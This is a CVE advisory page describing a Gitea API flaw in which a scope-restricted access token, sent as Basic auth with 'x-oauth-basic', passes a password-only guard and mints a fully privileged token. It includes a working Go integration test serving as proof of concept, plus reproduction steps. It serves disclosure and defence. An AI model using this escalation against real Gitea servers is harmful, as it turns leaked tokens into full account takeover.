CVE-2026-56654

HIGHPre-NVD 0.0
0.0
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • No confirmed exploitation signals yet
CISA-KEV: Not listedEPSS: CVSS: Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Gitea: Privilege Escalation via Access Token Scope Escalation in API

Gitea's API endpoint for creating Personal Access Tokens (POST /users/{username}/tokens) is protected by a middleware (reqBasicOrRevProxyAuth) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the Authorization: Basic :x-oauth-basic format, the Basic auth handler validates it and sets AuthedMethod="basic", causing IsBasicAuth=true and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. write:user from a leaked CI secret) can therefore create a fully-privileged all-scoped token without knowing the account password.

Data flow

Step 1 - Token extracted from Basic auth header

When the attacker sends Authorization: Basic base64(:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64

VerifyAuthToken then validates the token against the database and sets LoginMethod = "access_token" and ApiTokenScope to the token's actual scope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106

Step 2 - AuthedMethod is set to "basic", not "access_token"

Basic.Verify() returns the user successfully, so group.Verify() sets AuthedMethod to the method's name — "basic" — regardless of whether a password or token was used:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65

Step 3 - IsBasicAuth is incorrectly set to true

AuthShared computes IsBasicAuth by comparing AuthedMethod against the constant "basic". Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27

Step 4 - The guard is bypassed

reqBasicOrRevProxyAuth checks only ctx.IsBasicAuth. Because that flag is true, the middleware passes and the request reaches CreateAccessToken:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401

Step 5 - No scope ceiling in the handler

CreateAccessToken normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of ApiTokenScope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128

Reproducing

tests/integration/api_token_scope_escalation_test.go

package integration

import ( "net/http" "testing"

auth_model "gitea.dev/models/auth" "gitea.dev/models/unittest" user_model "gitea.dev/models/user" api "gitea.dev/modules/structs" "gitea.dev/tests"

"github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" )

// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two // interconnected vulnerabilities that together allow full scope escalation: // // 1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in // the Authorization: Basic ":x-oauth-basic" format. The Basic auth // handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true // even though the credential is a token, not a password. // // 2. CreateAccessToken performs no scope-ceiling check — it never verifies that // the requested scopes are a subset of the caller's token scopes. // // Combined effect: an attacker with a write:user-scoped token can create a new // token with the "all" scope, gaining full access to the account. func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) { defer tests.PrepareTestEnv(t)()

// Non-admin user — escalation is meaningful and not trivially justified. user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})

// Step 1 — Obtain a legitimately restricted token via password-based Basic auth. // Only write:user scope is granted; repository, admin, etc. are excluded. restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user, []auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser}) defer deleteAPIAccessToken(t, restrictedToken, user)

// Confirm the restricted token is blocked from repository-scoped endpoints. // This establishes the baseline: write:user does not imply read:repository. req := NewRequest(t, "GET", "/api/v1/repos/search"). AddTokenAuth(restrictedToken.Token) MakeRequest(t, req, http.StatusForbidden)

// Step 2 — Exploit: supply the restricted token as Basic auth credentials. // Authorization: Basic base64(":x-oauth-basic") // // Basic.Verify() validates the token and returns the user. group.Verify() then // sets AuthedMethod="basic" (the method name). auth.go maps that to // IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no // password was provided. CreateAccessToken then creates the token with the // requested "all" scope without checking whether it exceeds the caller's scope. payload := map[string]any{ "name": "poc-escalated", "scopes": []string{"all"}, } req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload) req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")

// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed) // but is currently 201, confirming the vulnerability. resp := MakeRequest(t, req, http.StatusCreated)

escalatedToken := DecodeJSON(t, resp, &api.AccessToken{}) require.NotNil(t, escalatedToken) defer deleteAPIAccessToken(t, *escalatedToken, user)

// Step 3 — The escalated token carries the "all" scope. assert.Contains(t, escalatedToken.Scopes, "all", "escalated token scope must be 'all'; original token only had write:user")

// Step 4 — The escalated token can now reach endpoints blocked to the original // token, confirming real privilege gain beyond write:user. req = NewRequest(t, "GET", "/api/v1/repos/search"). AddTokenAuth(escalatedToken.Token) MakeRequest(t, req, http.StatusOK) }

git clone https://github.com/go-gitea/gitea
cd gitea
git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e

Place the unit test above at tests/integration/api_token_scope_escalation_test.go.

go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/

A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.

CVSS v3
EG Score
0.0(none)
EG Risk
0
EG Risk 0/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses intrinsic severity with real-world exploitation and automatability, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. It is distinct from the 0–10 EG Score, which measures severity.

EPSS
KEV
Not listed

Published

July 21, 2026

Last Modified

July 21, 2026

Vendor Advisories for CVE-2026-56654(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(2 across 1 ecosystem)
Go(2)
PackageVulnerable rangeFixed inDependents
code.gitea.io/gitea1.27.0
gitea.dev1.27.0

Data Freshness Timeline

(refreshed 2× in last 7d / 2× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-23 03:20 UTCEG score recompute
  2. 2026-07-21 21:21 UTCEG score recompute

Frequently asked(3)

What is CVE-2026-56654?
CVE-2026-56654 is a high vulnerability published on July 21, 2026. Gitea: Privilege Escalation via Access Token Scope Escalation in API Gitea's API endpoint for creating Personal Access Tokens (POST /users/{username}/tokens) is protected by a middleware (reqBasicOrRevProxyAuth) that is intended to require password-based authentication, preventing a compromised…
When was CVE-2026-56654 disclosed?
CVE-2026-56654 was first published in the National Vulnerability Database on July 21, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
How do I remediate CVE-2026-56654?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-56654, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-56654

Explore →

Is Your Infrastructure Affected by CVE-2026-56654?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.